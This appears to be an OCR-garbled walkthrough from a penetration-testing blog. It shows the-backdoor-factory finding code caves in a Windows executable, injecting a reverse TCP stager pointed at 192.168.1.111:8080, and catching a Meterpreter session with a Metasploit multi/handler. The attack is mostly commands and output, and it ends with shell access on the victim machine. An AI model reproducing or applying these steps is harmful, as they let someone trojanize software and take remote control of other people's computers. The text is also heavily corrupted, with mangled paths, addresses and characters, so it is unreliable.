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INBEME : https://github.com/secretsquirrel/the-backdoor-factory
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root@John:~/Desktop# git clone https://github.com/secretsquirrel/the-backdoor-

factory.qit
//&#the-backdoor-factory

:~/Desktops# git clone https://github.com/secretsquirrelsthe-backdoor-factory. git
Cloning into 'the-backdoor-factory!
remote: Counting obje 0
remote: Total 1081 . sed @ (delta @), pack-reused 10361

Receiving object: 1081}, 2.62 MIB | 145.00 KiB/s. done.
Resolving deltas: 100% (574/574). done.

root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f

~/demo/guobang.exe -S

/SRS EIEA


https://micropoor.blogspot.com/
https://github.com/secretsquirrel/the-backdoor-factory
https://github.com/secretsquirrel/the-backdoor-factory.git

rootgJohn: ~/Desktop/the- hackduur-factury# . /backdoor.py -f ~/demosguabang.
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Authaor: Joshua Pitts

Email: the.midnite. runr[-at Jgmail<d o-t=com
Twitter:  @midnite_runr

IRC: freenode.net #BDFactory

nstructions
supported.

root@John ~/Desktop/the backdoor-factory# ./backdoor.py -f
~/demo/guobang.exe -c -1 150
/M3 Hsizel50




root@John: -/Desktop/the-backdoor-factoryg . /backdoor.py -f -/demosguobang.exe -c -1 150

Joshua Pitts
Email: the.midnite.runr[-at Jgmailed o-t=com
Twitter: @midnite_runr
IRC: freenode.net #BDFactory

Yersion: 3.4.2

[#] Checking 1f binary 15 supported

[*#] Gathering file info

[#] Feading win32 entry instructions

Looking for caves with a size of 150 bytes (measured as an integer
[#] Looking for caves

Mo section

-=Begin Cave Qx360

-=End of Cave Ox400

Size of Cave (int) 180

400200 RO 0B o o o8 oo oo o o B ol o ol ke
Mo section

-=Begin Cave OxZ202cS4

-=End of Cave Ox202e08

Size of Cave (int) 372

0 o o o o o o o ok ok s ok o o ok o ok ok o o ok o o ok ok ok kR K R o o o ok
Mo section

-=Begin Cave Ox20813b

-=End of Cave Ox20820c

Size of Cave (int) 206

ERESEF R E RS R LS E L LS A SRS A EEEEEEESEE L L L L
Mo section

-=Begin Cave OxZ20020f

-=End of Cave OxZ20b40l

Size of Cave (int] 458

0 o o o o o o o ok ok s ok o o ok o ok ok o o ok o o ok ok ok kR K R o o o ok
Mo section

-=Begin Cave OxZ22cf0B

-=End of Cave 0Ox22d004

Size of Cave (int) 252

0 o o o o o o o ok ok s ok o o ok o ok ok o o ok o o ok ok ok kR K R o o o ok

We have a winner: .rsrc

root@John:~/Desktop/the-backdoor-factory# ./backdoor.py -f
~/demo/guobang.exe -s show
//E&nJApayload




Author: Joshua Pitts

Email: the.midnite. runr[-at Jgmail=d o-t=com
Twitter:  @midnite_runr

IRC: freenode.net #BDFactory

Version: 3.4.2

[#] In the backdoor module

[*] Checking 1f binary 1s supported

tructions
are avallable: {use -s5)

e tcp 1n11np
tep_inline_threaded

1Tcode_threaded

1ttps_threaded
_inline
r_therde

root@John ~/Desktop/the backdoor -factory# ./backdoor.py -f
~/demo/guobang.exe -H 192.168.1.111 -P 8080 -s iat_reverse_tcp_stager_threaded

//iENpayload , FEERESZIH.



ager_threaded
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root@John:~/Desktop/the-backdoor-factory# md5sum ./guobang.exe
/root/demo/guobang.exe

/AR SR EMD 58

root@John: - /Desktop,/the-backdoor-factory/backdooreds mdSsum . /guobang. Jroot/demo s

root Aquobang
tory/backdooreds ||

root@John:~/Desktop/the-backdoor-factory# du -k ./guobang.exe
/root/demo/guobang.exe

//3SEEIHER )

root@John: - /Desktop/the-backdoor-factory/backdoored# du -b . /guobang.exe /root/demosguobang.exe
2794495 | fquobang. e

94456 Sroot/dema/guobang. exe
rootglohn: -~ /Desktop/the-backdoor - factory/backdooreds |

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 192.168.1.111



lhost => 192.168.1.111

msf exploit(handler) > set Iport 8080
|port => 8080

msf exploit(handler) > exploit -j

/RS

msf = use exploilt/multi,
loit (handler) = se

.j = set Thost 1
53.1.111
ndler} = set lport 2020

i Loit -]
Exploit running as cground jab.

Started reverse TCP handler on 192,182,
Starting the payload handler. ..

/1¥TFERI%
EiE - | #ZpzEHE | ZeA | Foel
ini 01711725 22:13 itk

%1 config ini P01T/11/25 22:13  FREILE | KB
¥ zuobanz, exe

B suobanzEHE. exe 201T/10/8 9:05 HREE 2,729 KB

x
EEERRIZTHE
v A

meterpreter > getuid
Server username: John-PC\John

//TREBR



i findstr "192_168."

192.168.1.108
192.168.1.1

] 192 _168.136.1

h3E 192 168.1.1

C:~>hostname
John—PFC

Started revers P handler on 182.162.1.111:

tarting the p: d handler. ..

Sending stage bytes) to 182.168.1.100

Meterpreter in 5 opened (192,168.1.111: 3 o-» 1682,168.1.100:

meterpreter = getuid
Server username: John-PChJohn

e  Micropoor



